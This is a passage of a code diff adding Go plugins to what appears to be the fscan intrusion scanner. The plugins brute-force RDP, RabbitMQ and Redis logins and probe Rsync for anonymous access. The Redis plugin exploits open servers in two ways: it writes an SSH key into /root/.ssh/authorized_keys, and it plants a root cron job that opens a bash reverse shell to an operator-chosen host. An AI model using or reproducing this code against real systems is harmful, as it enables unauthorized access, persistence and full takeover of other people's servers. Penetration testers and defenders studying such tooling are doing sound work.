if err != nil {
return false, err
}
defer db.Close()
// 设置连接参数
db.SetConnMaxLifetime(timeout)
// 测试连接
if err = db.Ping(); err != nil {
return false, err
}
return true, nil
}

229
Plugins/RDP.go Normal file
View File

@ -0,0 +1,229 @@
package Plugins
import (
"errors"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/tomatome/grdp/core"
"github.com/tomatome/grdp/glog"
"github.com/tomatome/grdp/protocol/nla"
"github.com/tomatome/grdp/protocol/pdu"
"github.com/tomatome/grdp/protocol/rfb"
"github.com/tomatome/grdp/protocol/sec"
"github.com/tomatome/grdp/protocol/t125"
"github.com/tomatome/grdp/protocol/tpkt"
"github.com/tomatome/grdp/protocol/x224"
"log"
"net"
"os"
"strconv"
"strings"
"sync"
"time"
)
// Brutelist 表示暴力破解的用户名密码组合
type Brutelist struct {
user string
pass string
}
// RdpScan 执行RDP服务扫描
func RdpScan(info *Common.HostInfo) (tmperr error) {
defer func() {
recover()
}()
if Common.DisableBrute {
return
}
port, _ := strconv.Atoi(info.Ports)
total := len(Common.Userdict["rdp"]) * len(Common.Passwords)
num := 0
target := fmt.Sprintf("%v:%v", info.Host, port)
// 遍历用户名密码组合
for _, user := range Common.Userdict["rdp"] {
for _, pass := range Common.Passwords {
num++
pass = strings.Replace(pass, "{user}", user, -1)
// 尝试连接
flag, err := RdpConn(info.Host, Common.Domain, user, pass, port, Common.Timeout)
if flag && err == nil {
// 连接成功
var result string
if Common.Domain != "" {
result = fmt.Sprintf("RDP %v Domain: %v\\%v Password: %v", target, Common.Domain, user, pass)
} else {
result = fmt.Sprintf("RDP %v Username: %v Password: %v", target, user, pass)
}
Common.LogSuccess(result)
// 保存结果
details := map[string]interface{}{
"port": port,
"service": "rdp",
"username": user,
"password": pass,
"type": "weak-password",
}
if Common.Domain != "" {
details["domain"] = Common.Domain
}
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
return nil
}
// 连接失败
errlog := fmt.Sprintf("(%v/%v) RDP %v Username: %v Password: %v Error: %v",
num, total, target, user, pass, err)
Common.LogError(errlog)
}
}
return tmperr
}
// RdpConn 尝试RDP连接
func RdpConn(ip, domain, user, password string, port int, timeout int64) (bool, error) {
defer func() {
recover()
}()
target := fmt.Sprintf("%s:%d", ip, port)
// 创建RDP客户端
client := NewClient(target, glog.NONE)
if err := client.Login(domain, user, password, timeout); err != nil {
return false, err
}
return true, nil
}
// Client RDP客户端结构
type Client struct {
Host string // 服务地址(ip:port)
tpkt *tpkt.TPKT // TPKT协议层
x224 *x224.X224 // X224协议层
mcs *t125.MCSClient // MCS协议层
sec *sec.Client // 安全层
pdu *pdu.Client // PDU协议层
vnc *rfb.RFB // VNC协议(可选)
}
// NewClient 创建新的RDP客户端
func NewClient(host string, logLevel glog.LEVEL) *Client {
// 配置日志
glog.SetLevel(logLevel)
logger := log.New(os.Stdout, "", 0)
glog.SetLogger(logger)
return &Client{
Host: host,
}
}
// Login 执行RDP登录
func (g *Client) Login(domain, user, pwd string, timeout int64) error {
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", g.Host, time.Duration(timeout)*time.Second)
if err != nil {
return fmt.Errorf("[连接错误] %v", err)
}
defer conn.Close()
glog.Info(conn.LocalAddr().String())
// 初始化协议栈
g.initProtocolStack(conn, domain, user, pwd)
// 建立X224连接
if err = g.x224.Connect(); err != nil {
return fmt.Errorf("[X224连接错误] %v", err)
}
glog.Info("等待连接建立...")
// 等待连接完成
wg := &sync.WaitGroup{}
breakFlag := false
wg.Add(1)
// 设置事件处理器
g.setupEventHandlers(wg, &breakFlag, &err)
wg.Wait()
return err
}
// initProtocolStack 初始化RDP协议栈
func (g *Client) initProtocolStack(conn net.Conn, domain, user, pwd string) {
// 创建协议层实例
g.tpkt = tpkt.New(core.NewSocketLayer(conn), nla.NewNTLMv2(domain, user, pwd))
g.x224 = x224.New(g.tpkt)
g.mcs = t125.NewMCSClient(g.x224)
g.sec = sec.NewClient(g.mcs)
g.pdu = pdu.NewClient(g.sec)
// 设置认证信息
g.sec.SetUser(user)
g.sec.SetPwd(pwd)
g.sec.SetDomain(domain)
// 配置协议层关联
g.tpkt.SetFastPathListener(g.sec)
g.sec.SetFastPathListener(g.pdu)
g.pdu.SetFastPathSender(g.tpkt)
}
// setupEventHandlers 设置PDU事件处理器
func (g *Client) setupEventHandlers(wg *sync.WaitGroup, breakFlag *bool, err *error) {
// 错误处理
g.pdu.On("error", func(e error) {
*err = e
glog.Error("错误:", e)
g.pdu.Emit("done")
})
// 连接关闭
g.pdu.On("close", func() {
*err = errors.New("连接关闭")
glog.Info("连接已关闭")
g.pdu.Emit("done")
})
// 连接成功
g.pdu.On("success", func() {
*err = nil
glog.Info("连接成功")
g.pdu.Emit("done")
})
// 连接就绪
g.pdu.On("ready", func() {
glog.Info("连接就绪")
g.pdu.Emit("done")
})
// 屏幕更新
g.pdu.On("update", func(rectangles []pdu.BitmapData) {
glog.Info("屏幕更新:", rectangles)
})
// 完成处理
g.pdu.On("done", func() {
if !*breakFlag {
*breakFlag = true
wg.Done()
}
})
}

205
Plugins/RabbitMQ.go Normal file
View File

@ -0,0 +1,205 @@
package Plugins
import (
"fmt"
amqp "github.com/rabbitmq/amqp091-go"
"github.com/shadow1ng/fscan/Common"
"net"
"strings"
"time"
)
// RabbitMQScan 执行 RabbitMQ 服务扫描
func RabbitMQScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试默认账号 guest/guest")
// 先测试默认账号 guest/guest
user, pass := "guest", "guest"
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试默认账号: guest/guest", retryCount+1))
}
done := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := RabbitMQConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}()
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v", target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "rabbitmq",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("RabbitMQ服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
totalUsers := len(Common.Userdict["rabbitmq"])
totalPass := len(Common.Passwords)
total := totalUsers * totalPass
tried := 0
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d)", totalUsers, totalPass))
// 遍历其他用户名密码组合
for _, user := range Common.Userdict["rabbitmq"] {
for _, pass := range Common.Passwords {
tried++
pass = strings.Replace(pass, "{user}", user, -1)
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", tried, total, user, pass))
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retryCount+1, user, pass))
}
done := make(chan struct {
success bool
err error
}, 1)
go func(user, pass string) {
success, err := RabbitMQConn(info, user, pass)
select {
case done <- struct {
success bool
err error
}{success, err}:
default:
}
}(user, pass)
var err error
select {
case result := <-done:
err = result.err
if result.success && err == nil {
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v",
target, user, pass)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "rabbitmq",
"username": user,
"password": pass,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
return nil
}
case <-time.After(time.Duration(Common.Timeout) * time.Second):
err = fmt.Errorf("连接超时")
}
if err != nil {
errlog := fmt.Sprintf("RabbitMQ服务 %s 尝试失败 用户名: %v 密码: %v 错误: %v",
target, user, pass, err)
Common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
continue
}
continue
}
}
break
}
}
}
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", tried+1))
return tmperr
}
// RabbitMQConn 尝试 RabbitMQ 连接
func RabbitMQConn(info *Common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
// 构造 AMQP URL
amqpURL := fmt.Sprintf("amqp://%s:%s@%s:%s/", user, pass, host, port)
// 配置连接
config := amqp.Config{
Dial: func(network, addr string) (net.Conn, error) {
return net.DialTimeout(network, addr, timeout)
},
}
// 尝试连接
conn, err := amqp.DialConfig(amqpURL, config)
if err != nil {
return false, err
}
defer conn.Close()
// 如果成功连接
if conn != nil {
return true, nil
}
return false, fmt.Errorf("认证失败")
}

683
Plugins/Redis.go Normal file
View File

@ -0,0 +1,683 @@
package Plugins
import (
"bufio"
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"net"
"os"
"strings"
"time"
)
var (
dbfilename string // Redis数据库文件名
dir string // Redis数据库目录
)
func RedisScan(info *Common.HostInfo) error {
Common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports))
starttime := time.Now().Unix()
// 先尝试无密码连接
flag, err := RedisUnauth(info)
if flag && err == nil {
Common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s:%v", info.Host, info.Ports))
// 保存未授权访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "redis",
"type": "unauthorized",
},
}
Common.SaveResult(result)
return nil
}
if Common.DisableBrute {
Common.LogDebug("暴力破解已禁用,结束扫描")
return nil
}
// 遍历密码字典
for _, pass := range Common.Passwords {
// 检查是否超时
if time.Now().Unix()-starttime > int64(Common.Timeout) {
errMsg := fmt.Sprintf("Redis扫描超时: %s:%v", info.Host, info.Ports)
Common.LogError(errMsg)
return fmt.Errorf(errMsg)
}
pass = strings.Replace(pass, "{user}", "redis", -1)
Common.LogDebug(fmt.Sprintf("尝试密码: %s", pass))
var lastErr error
for retryCount := 0; retryCount < Common.MaxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第 %d 次重试: %s", retryCount+1, pass))
}
done := make(chan struct {
success bool
err error
})
go func() {
success, err := RedisConn(info, pass)
done <- struct {
success bool
err error
}{success, err}
}()
var connErr error
select {
case result := <-done:
if result.success {
Common.LogSuccess(fmt.Sprintf("Redis登录成功 %s:%v [%s]",
info.Host, info.Ports, pass))
// 保存弱密码结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "redis",
"type": "weak-password",
"password": pass,
},
}
Common.SaveResult(vulnResult)
return nil
}
connErr = result.err
case <-time.After(time.Duration(Common.Timeout) * time.Second):
connErr = fmt.Errorf("连接超时")
}
if connErr != nil {
lastErr = connErr
errMsg := fmt.Sprintf("Redis尝试失败 %s:%v [%s] %v",
info.Host, info.Ports, pass, connErr)
Common.LogError(errMsg)
if retryErr := Common.CheckErrs(connErr); retryErr != nil {
if retryCount == Common.MaxRetries-1 {
Common.LogDebug(fmt.Sprintf("达到最大重试次数: %s", pass))
break
}
continue
}
}
break
}
if lastErr != nil && Common.CheckErrs(lastErr) != nil {
Common.LogDebug(fmt.Sprintf("Redis扫描中断: %v", lastErr))
return lastErr
}
}
Common.LogDebug(fmt.Sprintf("Redis扫描完成: %s:%v", info.Host, info.Ports))
return nil
}
// RedisUnauth 尝试Redis未授权访问检测
func RedisUnauth(info *Common.HostInfo) (flag bool, err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost))
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, err))
return false, err
}
defer conn.Close()
// 设置读取超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
Common.LogError(fmt.Sprintf("Redis %s 设置超时失败: %v", realhost, err))
return false, err
}
// 发送info命令测试未授权访问
Common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost))
if _, err = conn.Write([]byte("info\r\n")); err != nil {
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
return false, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
return false, err
}
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
// 检查未授权访问
if !strings.Contains(reply, "redis_version") {
Common.LogDebug(fmt.Sprintf("Redis %s 未发现未授权访问", realhost))
return false, nil
}
// 发现未授权访问,获取配置
Common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost))
dbfilename, dir, err := getconfig(conn)
if err != nil {
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
Common.LogSuccess(result)
return true, err
}
// 输出详细信息
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
Common.LogSuccess(result)
// 尝试漏洞利用
Common.LogDebug(fmt.Sprintf("尝试Redis %s 漏洞利用", realhost))
if err = Expoilt(realhost, conn); err != nil {
Common.LogError(fmt.Sprintf("Redis %s 漏洞利用失败: %v", realhost, err))
}
return true, nil
}
// RedisConn 尝试Redis连接
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("尝试Redis连接: %s [%s]", realhost, pass))
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
Common.LogDebug(fmt.Sprintf("连接失败: %v", err))
return false, err
}
defer conn.Close()
// 设置超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
Common.LogDebug(fmt.Sprintf("设置超时失败: %v", err))
return false, err
}
// 发送认证命令
authCmd := fmt.Sprintf("auth %s\r\n", pass)
Common.LogDebug("发送认证命令")
if _, err = conn.Write([]byte(authCmd)); err != nil {
Common.LogDebug(fmt.Sprintf("发送认证命令失败: %v", err))
return false, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return false, err
}
Common.LogDebug(fmt.Sprintf("收到响应: %s", reply))
// 认证成功
if strings.Contains(reply, "+OK") {
Common.LogDebug("认证成功,获取配置信息")
// 获取配置信息
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("Redis认证成功 %s [%s]", realhost, pass)
Common.LogSuccess(result)
Common.LogDebug(fmt.Sprintf("获取配置失败: %v", err))
return true, err
}
result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s",
realhost, pass, dir, dbfilename)
Common.LogSuccess(result)
// 尝试利用
Common.LogDebug("尝试Redis利用")
err = Expoilt(realhost, conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("利用失败: %v", err))
}
return true, err
}
Common.LogDebug("认证失败")
return false, err
}
// Expoilt 尝试Redis漏洞利用
func Expoilt(realhost string, conn net.Conn) error {
Common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost))
// 如果配置为不进行测试则直接返回
if Common.DisableRedis {
Common.LogDebug("Redis漏洞利用已禁用")
return nil
}
// 测试目录写入权限
Common.LogDebug("测试目录写入权限")
flagSsh, flagCron, err := testwrite(conn)
if err != nil {
Common.LogError(fmt.Sprintf("Redis %v 测试写入权限失败: %v", realhost, err))
return err
}
// SSH密钥写入测试
if flagSsh {
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /root/.ssh/", realhost))
// 如果指定了密钥文件则尝试写入
if Common.RedisFile != "" {
Common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", Common.RedisFile))
writeok, text, err := writekey(conn, Common.RedisFile)
if err != nil {
Common.LogError(fmt.Sprintf("Redis %v SSH密钥写入错误: %v %v", realhost, text, err))
return err
}
if writeok {
Common.LogSuccess(fmt.Sprintf("Redis %v SSH公钥写入成功", realhost))
} else {
Common.LogError(fmt.Sprintf("Redis %v SSH公钥写入失败: %v", realhost, text))
}
} else {
Common.LogDebug("未指定SSH密钥文件跳过写入")
}
} else {
Common.LogDebug("SSH目录不可写")
}
// 定时任务写入测试
if flagCron {
Common.LogSuccess(fmt.Sprintf("Redis %v 可写入路径 /var/spool/cron/", realhost))
// 如果指定了shell命令则尝试写入定时任务
if Common.RedisShell != "" {
Common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", Common.RedisShell))
writeok, text, err := writecron(conn, Common.RedisShell)
if err != nil {
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入错误: %v", realhost, err))
return err
}
if writeok {
Common.LogSuccess(fmt.Sprintf("Redis %v 成功写入 /var/spool/cron/root", realhost))
} else {
Common.LogError(fmt.Sprintf("Redis %v 定时任务写入失败: %v", realhost, text))
}
} else {
Common.LogDebug("未指定shell命令跳过写入定时任务")
}
} else {
Common.LogDebug("Cron目录不可写")
}
// 恢复数据库配置
Common.LogDebug("开始恢复数据库配置")
if err = recoverdb(dbfilename, dir, conn); err != nil {
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
} else {
Common.LogDebug("数据库配置恢复成功")
}
Common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost))
return err
}
// writekey 向Redis写入SSH密钥
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始写入SSH密钥, 文件: %s", filename))
flag = false
// 设置文件目录为SSH目录
Common.LogDebug("设置目录: /root/.ssh/")
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 设置文件名为authorized_keys
if strings.Contains(text, "OK") {
Common.LogDebug("设置文件名: authorized_keys")
if _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 读取并写入SSH密钥
if strings.Contains(text, "OK") {
// 读取密钥文件
Common.LogDebug(fmt.Sprintf("读取密钥文件: %s", filename))
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
Common.LogDebug(text)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("密钥文件 %s 为空", filename)
Common.LogDebug(text)
return flag, text, err
}
Common.LogDebug(fmt.Sprintf("密钥内容长度: %d", len(key)))
// 写入密钥
Common.LogDebug("写入密钥内容")
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))); err != nil {
Common.LogDebug(fmt.Sprintf("写入密钥失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
Common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
if strings.Contains(text, "OK") {
Common.LogDebug("SSH密钥写入成功")
flag = true
}
}
}
}
// 截断过长的响应文本
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
Common.LogDebug(fmt.Sprintf("写入SSH密钥完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err
}
// writecron 向Redis写入定时任务
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始写入定时任务, 目标地址: %s", host))
flag = false
// 首先尝试Ubuntu系统的cron路径
Common.LogDebug("尝试Ubuntu系统路径: /var/spool/cron/crontabs/")
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置Ubuntu路径失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 如果Ubuntu路径失败尝试CentOS系统的cron路径
if !strings.Contains(text, "OK") {
Common.LogDebug("尝试CentOS系统路径: /var/spool/cron/")
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置CentOS路径失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
}
// 如果成功设置目录,继续后续操作
if strings.Contains(text, "OK") {
Common.LogDebug("成功设置cron目录")
// 设置数据库文件名为root
Common.LogDebug("设置文件名: root")
if _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
if strings.Contains(text, "OK") {
// 解析目标主机地址
target := strings.Split(host, ":")
if len(target) < 2 {
Common.LogDebug(fmt.Sprintf("主机地址格式错误: %s", host))
return flag, "主机地址格式错误", err
}
scanIp, scanPort := target[0], target[1]
Common.LogDebug(fmt.Sprintf("目标地址解析: IP=%s, Port=%s", scanIp, scanPort))
// 写入反弹shell的定时任务
Common.LogDebug("写入定时任务")
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
scanIp, scanPort)
if _, err = conn.Write([]byte(cronCmd)); err != nil {
Common.LogDebug(fmt.Sprintf("写入定时任务失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
Common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
if strings.Contains(text, "OK") {
Common.LogDebug("定时任务写入成功")
flag = true
}
}
}
}
// 截断过长的响应文本
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
Common.LogDebug(fmt.Sprintf("写入定时任务完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err
}
// Readfile 读取文件内容并返回第一个非空行
func Readfile(filename string) (string, error) {
Common.LogDebug(fmt.Sprintf("读取文件: %s", filename))
file, err := os.Open(filename)
if err != nil {
Common.LogDebug(fmt.Sprintf("打开文件失败: %v", err))
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
Common.LogDebug("找到非空行")
return text, nil
}
}
Common.LogDebug("文件内容为空")
return "", err
}
// readreply 读取Redis服务器响应
func readreply(conn net.Conn) (string, error) {
Common.LogDebug("读取Redis响应")
// 设置1秒读取超时
conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn)
if len(bytes) > 0 {
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(bytes)))
err = nil
} else {
Common.LogDebug("未收到响应数据")
}
return string(bytes), err
}
// testwrite 测试Redis写入权限
func testwrite(conn net.Conn) (flag bool, flagCron bool, err error) {
Common.LogDebug("开始测试Redis写入权限")
// 测试SSH目录写入权限
Common.LogDebug("测试 /root/.ssh/ 目录写入权限")
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("发送SSH目录测试命令失败: %v", err))
return flag, flagCron, err
}
text, err := readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取SSH目录测试响应失败: %v", err))
return flag, flagCron, err
}
Common.LogDebug(fmt.Sprintf("SSH目录测试响应: %s", text))
if strings.Contains(text, "OK") {
flag = true
Common.LogDebug("SSH目录可写")
} else {
Common.LogDebug("SSH目录不可写")
}
// 测试定时任务目录写入权限
Common.LogDebug("测试 /var/spool/cron/ 目录写入权限")
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("发送定时任务目录测试命令失败: %v", err))
return flag, flagCron, err
}
text, err = readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取定时任务目录测试响应失败: %v", err))
return flag, flagCron, err
}
Common.LogDebug(fmt.Sprintf("定时任务目录测试响应: %s", text))
if strings.Contains(text, "OK") {
flagCron = true
Common.LogDebug("定时任务目录可写")
} else {
Common.LogDebug("定时任务目录不可写")
}
Common.LogDebug(fmt.Sprintf("写入权限测试完成 - SSH权限: %v, Cron权限: %v", flag, flagCron))
return flag, flagCron, err
}
// getconfig 获取Redis配置信息
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
Common.LogDebug("开始获取Redis配置信息")
// 获取数据库文件名
Common.LogDebug("获取数据库文件名")
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("获取数据库文件名失败: %v", err))
return
}
text, err := readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取数据库文件名响应失败: %v", err))
return
}
// 解析数据库文件名
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
Common.LogDebug(fmt.Sprintf("数据库文件名: %s", dbfilename))
// 获取数据库目录
Common.LogDebug("获取数据库目录")
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("获取数据库目录失败: %v", err))
return
}
text, err = readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取数据库目录响应失败: %v", err))
return
}
// 解析数据库目录
text1 = strings.Split(text, "\r\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
Common.LogDebug(fmt.Sprintf("数据库目录: %s", dir))
return
}
// recoverdb 恢复Redis数据库配置
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
Common.LogDebug("开始恢复Redis数据库配置")
// 恢复数据库文件名
Common.LogDebug(fmt.Sprintf("恢复数据库文件名: %s", dbfilename))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))); err != nil {
Common.LogDebug(fmt.Sprintf("恢复数据库文件名失败: %v", err))
return
}
if _, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取恢复文件名响应失败: %v", err))
return
}
// 恢复数据库目录
Common.LogDebug(fmt.Sprintf("恢复数据库目录: %s", dir))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))); err != nil {
Common.LogDebug(fmt.Sprintf("恢复数据库目录失败: %v", err))
return
}
if _, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取恢复目录响应失败: %v", err))
return
}
Common.LogDebug("数据库配置恢复完成")
return
}

275
Plugins/Rsync.go Normal file
View File

@ -0,0 +1,275 @@
package Plugins
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"net"
"strings"
"time"
)
func RsyncScan(info *Common.HostInfo) (tmperr error) {
if Common.DisableBrute {
return
}
maxRetries := Common.MaxRetries
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug("尝试匿名访问...")
// 首先测试匿名访问
for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试匿名访问", retryCount+1))
}
flag, err := RsyncConn(info, "", "")
if flag && err == nil {
Common.LogSuccess(fmt.Sprintf("Rsync服务 %s 匿名访问成功", target))
// 保存匿名访问结果
result := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "rsync",
"type": "anonymous-access",
},
}
Common.SaveResult(result)
return err
}
if err != nil {
Common.LogError(fmt.Sprintf("Rsync服务 %s 匿名访问失败: %v", target, err))
if retryErr := Common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 {
return err
}
continue
